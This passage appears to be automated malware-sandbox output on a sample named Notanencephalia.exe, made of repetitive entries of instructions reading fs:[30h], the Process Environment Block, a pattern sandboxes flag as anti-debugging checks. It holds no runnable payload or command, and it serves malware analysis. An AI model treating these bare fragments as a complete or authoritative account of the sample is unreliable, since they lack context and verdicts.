Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7BEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7BEC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9FEC0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9FEC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFFEC5 mov eax, dword ptr fs:[00000030h]	14_2_1FDFFEC5
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73EF4 mov eax, dword ptr fs:[00000030h]	14_2_1FD73EF4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73EF4 mov eax, dword ptr fs:[00000030h]	14_2_1FD73EF4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73EF4 mov eax, dword ptr fs:[00000030h]	14_2_1FD73EF4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA3EEB mov ecx, dword ptr fs:[00000030h]	14_2_1FDA3EEB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA3EEB mov eax, dword ptr fs:[00000030h]	14_2_1FDA3EEB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA3EEB mov eax, dword ptr fs:[00000030h]	14_2_1FDA3EEB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73EE1 mov eax, dword ptr fs:[00000030h]	14_2_1FD73EE1
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE29EDF mov eax, dword ptr fs:[00000030h]	14_2_1FE29EDF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE29EDF mov eax, dword ptr fs:[00000030h]	14_2_1FE29EDF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD77E96 mov eax, dword ptr fs:[00000030h]	14_2_1FD77E96
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFDE9B mov eax, dword ptr fs:[00000030h]	14_2_1FDFDE9B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1DEB0 mov eax, dword ptr fs:[00000030h]	14_2_1FE1DEB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1DEB0 mov ecx, dword ptr fs:[00000030h]	14_2_1FE1DEB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1DEB0 mov eax, dword ptr fs:[00000030h]	14_2_1FE1DEB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1DEB0 mov eax, dword ptr fs:[00000030h]	14_2_1FE1DEB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1DEB0 mov eax, dword ptr fs:[00000030h]	14_2_1FE1DEB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2DEB0 mov eax, dword ptr fs:[00000030h]	14_2_1FE2DEB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA3E8F mov eax, dword ptr fs:[00000030h]	14_2_1FDA3E8F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6DEA5 mov eax, dword ptr fs:[00000030h]	14_2_1FD6DEA5
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6DEA5 mov ecx, dword ptr fs:[00000030h]	14_2_1FD6DEA5
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFDEAA mov eax, dword ptr fs:[00000030h]	14_2_1FDFDEAA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6FEA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD6FEA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABE51 mov eax, dword ptr fs:[00000030h]	14_2_1FDABE51
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABE51 mov eax, dword ptr fs:[00000030h]	14_2_1FDABE51
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD85E40 mov eax, dword ptr fs:[00000030h]	14_2_1FD85E40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2DE46 mov eax, dword ptr fs:[00000030h]	14_2_1FE2DE46
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6BE78 mov ecx, dword ptr fs:[00000030h]	14_2_1FD6BE78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE19E56 mov ecx, dword ptr fs:[00000030h]	14_2_1FE19E56
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6DE10 mov eax, dword ptr fs:[00000030h]	14_2_1FD6DE10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABE17 mov eax, dword ptr fs:[00000030h]	14_2_1FDABE17
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE45E37 mov eax, dword ptr fs:[00000030h]	14_2_1FE45E37
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE45E37 mov eax, dword ptr fs:[00000030h]	14_2_1FE45E37
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE45E37 mov eax, dword ptr fs:[00000030h]	14_2_1FE45E37
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD71E30 mov eax, dword ptr fs:[00000030h]	14_2_1FD71E30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD71E30 mov eax, dword ptr fs:[00000030h]	14_2_1FD71E30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE43E10 mov eax, dword ptr fs:[00000030h]	14_2_1FE43E10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE43E10 mov eax, dword ptr fs:[00000030h]	14_2_1FE43E10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8DE2D mov eax, dword ptr fs:[00000030h]	14_2_1FD8DE2D
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8DE2D mov eax, dword ptr fs:[00000030h]	14_2_1FD8DE2D
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8DE2D mov eax, dword ptr fs:[00000030h]	14_2_1FD8DE2D
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73DD0 mov eax, dword ptr fs:[00000030h]	14_2_1FD73DD0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73DD0 mov eax, dword ptr fs:[00000030h]	14_2_1FD73DD0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFDDC0 mov eax, dword ptr fs:[00000030h]	14_2_1FDFDDC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3DDC6 mov eax, dword ptr fs:[00000030h]	14_2_1FE3DDC6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2DDC7 mov eax, dword ptr fs:[00000030h]	14_2_1FE2DDC7
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD69D96 mov eax, dword ptr fs:[00000030h]	14_2_1FD69D96
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD69D96 mov eax, dword ptr fs:[00000030h]	14_2_1FD69D96
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD69D96 mov ecx, dword ptr fs:[00000030h]	14_2_1FD69D96
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE05DA0 mov eax, dword ptr fs:[00000030h]	14_2_1FE05DA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE05DA0 mov eax, dword ptr fs:[00000030h]	14_2_1FE05DA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE05DA0 mov eax, dword ptr fs:[00000030h]	14_2_1FE05DA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE05DA0 mov ecx, dword ptr fs:[00000030h]	14_2_1FE05DA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6FD80 mov eax, dword ptr fs:[00000030h]	14_2_1FD6FD80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8DDB1 mov eax, dword ptr fs:[00000030h]	14_2_1FD8DDB1
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8DDB1 mov eax, dword ptr fs:[00000030h]	14_2_1FD8DDB1
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8DDB1 mov eax, dword ptr fs:[00000030h]	14_2_1FD8DDB1
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFDDB1 mov eax, dword ptr fs:[00000030h]	14_2_1FDFDDB1
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA9DAF mov eax, dword ptr fs:[00000030h]	14_2_1FDA9DAF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7FDA9 mov eax, dword ptr fs:[00000030h]	14_2_1FD7FDA9
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE29D70 mov eax, dword ptr fs:[00000030h]	14_2_1FE29D70
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE29D70 mov eax, dword ptr fs:[00000030h]	14_2_1FE29D70
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABD4E mov eax, dword ptr fs:[00000030h]	14_2_1FDABD4E
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABD4E mov eax, dword ptr fs:[00000030h]	14_2_1FDABD4E
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67D41 mov eax, dword ptr fs:[00000030h]	14_2_1FD67D41
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov ecx, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov ecx, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov ecx, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov ecx, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov ecx, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov ecx, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFDD47 mov eax, dword ptr fs:[00000030h]	14_2_1FDFDD47
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1FD78 mov eax, dword ptr fs:[00000030h]	14_2_1FE1FD78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1FD78 mov eax, dword ptr fs:[00000030h]	14_2_1FE1FD78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1FD78 mov eax, dword ptr fs:[00000030h]	14_2_1FE1FD78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1FD78 mov eax, dword ptr fs:[00000030h]	14_2_1FE1FD78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1FD78 mov eax, dword ptr fs:[00000030h]	14_2_1FE1FD78
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD77D75 mov eax, dword ptr fs:[00000030h]	14_2_1FD77D75
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD77D75 mov eax, dword ptr fs:[00000030h]	14_2_1FD77D75
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE45D50 mov eax, dword ptr fs:[00000030h]	14_2_1FE45D50
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE45D50 mov eax, dword ptr fs:[00000030h]	14_2_1FE45D50
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE31D5A mov eax, dword ptr fs:[00000030h]	14_2_1FE31D5A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE31D5A mov eax, dword ptr fs:[00000030h]	14_2_1FE31D5A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE31D5A mov eax, dword ptr fs:[00000030h]	14_2_1FE31D5A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE31D5A mov eax, dword ptr fs:[00000030h]	14_2_1FE31D5A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D00 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFFD2A mov eax, dword ptr fs:[00000030h]	14_2_1FDFFD2A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFFD2A mov eax, dword ptr fs:[00000030h]	14_2_1FDFFD2A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D20 mov eax, dword ptr fs:[00000030h]	14_2_1FD83D20
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67CD5 mov eax, dword ptr fs:[00000030h]	14_2_1FD67CD5
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67CD5 mov eax, dword ptr fs:[00000030h]	14_2_1FD67CD5
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67CD5 mov eax, dword ptr fs:[00000030h]	14_2_1FD67CD5
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67CD5 mov eax, dword ptr fs:[00000030h]	14_2_1FD67CD5
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67CD5 mov eax, dword ptr fs:[00000030h]	14_2_1FD67CD5
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF3CDB mov eax, dword ptr fs:[00000030h]	14_2_1FDF3CDB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF3CDB mov eax, dword ptr fs:[00000030h]	14_2_1FDF3CDB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF3CDB mov eax, dword ptr fs:[00000030h]	14_2_1FDF3CDB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE11CF9 mov eax, dword ptr fs:[00000030h]	14_2_1FE11CF9
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE11CF9 mov eax, dword ptr fs:[00000030h]	14_2_1FE11CF9
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE11CF9 mov eax, dword ptr fs:[00000030h]	14_2_1FE11CF9
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA5CC0 mov eax, dword ptr fs:[00000030h]	14_2_1FDA5CC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA5CC0 mov eax, dword ptr fs:[00000030h]	14_2_1FDA5CC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81CC7 mov eax, dword ptr fs:[00000030h]	14_2_1FD81CC7
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81CC7 mov eax, dword ptr fs:[00000030h]	14_2_1FD81CC7
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1FCDF mov eax, dword ptr fs:[00000030h]	14_2_1FE1FCDF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1FCDF mov eax, dword ptr fs:[00000030h]	14_2_1FE1FCDF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1FCDF mov eax, dword ptr fs:[00000030h]	14_2_1FE1FCDF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FCAB mov eax, dword ptr fs:[00000030h]	14_2_1FE2FCAB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73C84 mov eax, dword ptr fs:[00000030h]	14_2_1FD73C84
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73C84 mov eax, dword ptr fs:[00000030h]	14_2_1FD73C84
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73C84 mov eax, dword ptr fs:[00000030h]	14_2_1FD73C84
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73C84 mov eax, dword ptr fs:[00000030h]	14_2_1FD73C84
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6DCA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD6DCA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9FCA0 mov ecx, dword ptr fs:[00000030h]	14_2_1FD9FCA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9FCA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9FCA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9FCA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9FCA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9FCA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9FCA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9FCA0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9FCA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABCA0 mov eax, dword ptr fs:[00000030h]	14_2_1FDABCA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABCA0 mov eax, dword ptr fs:[00000030h]	14_2_1FDABCA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABCA0 mov ecx, dword ptr fs:[00000030h]	14_2_1FDABCA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABCA0 mov eax, dword ptr fs:[00000030h]	14_2_1FDABCA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67C40 mov eax, dword ptr fs:[00000030h]	14_2_1FD67C40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67C40 mov ecx, dword ptr fs:[00000030h]	14_2_1FD67C40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67C40 mov eax, dword ptr fs:[00000030h]	14_2_1FD67C40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67C40 mov eax, dword ptr fs:[00000030h]	14_2_1FD67C40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA1C7C mov eax, dword ptr fs:[00000030h]	14_2_1FDA1C7C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FC4F mov eax, dword ptr fs:[00000030h]	14_2_1FE2FC4F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81C60 mov eax, dword ptr fs:[00000030h]	14_2_1FD81C60
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3DC27 mov eax, dword ptr fs:[00000030h]	14_2_1FE3DC27
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3DC27 mov eax, dword ptr fs:[00000030h]	14_2_1FE3DC27
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3DC27 mov eax, dword ptr fs:[00000030h]	14_2_1FE3DC27
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFBC10 mov eax, dword ptr fs:[00000030h]	14_2_1FDFBC10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFBC10 mov eax, dword ptr fs:[00000030h]	14_2_1FDFBC10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFBC10 mov ecx, dword ptr fs:[00000030h]	14_2_1FDFBC10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE41C3C mov eax, dword ptr fs:[00000030h]	14_2_1FE41C3C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDABC3B mov esi, dword ptr fs:[00000030h]	14_2_1FDABC3B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE4BC01 mov eax, dword ptr fs:[00000030h]	14_2_1FE4BC01
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE4BC01 mov eax, dword ptr fs:[00000030h]	14_2_1FE4BC01
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF9C32 mov eax, dword ptr fs:[00000030h]	14_2_1FDF9C32
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFFBDC mov eax, dword ptr fs:[00000030h]	14_2_1FDFFBDC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFFBDC mov eax, dword ptr fs:[00000030h]	14_2_1FDFFBDC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFFBDC mov eax, dword ptr fs:[00000030h]	14_2_1FDFFBDC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83BD6 mov eax, dword ptr fs:[00000030h]	14_2_1FD83BD6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83BD6 mov eax, dword ptr fs:[00000030h]	14_2_1FD83BD6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83BD6 mov eax, dword ptr fs:[00000030h]	14_2_1FD83BD6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83BD6 mov eax, dword ptr fs:[00000030h]	14_2_1FD83BD6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83BD6 mov eax, dword ptr fs:[00000030h]	14_2_1FD83BD6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2FBF3 mov eax, dword ptr fs:[00000030h]	14_2_1FE2FBF3
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD79BC4 mov eax, dword ptr fs:[00000030h]	14_2_1FD79BC4
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67BCD mov eax, dword ptr fs:[00000030h]	14_2_1FD67BCD
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD67BCD mov ecx, dword ptr fs:[00000030h]	14_2_1FD67BCD
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB1BEF mov eax, dword ptr fs:[00000030h]	14_2_1FDB1BEF
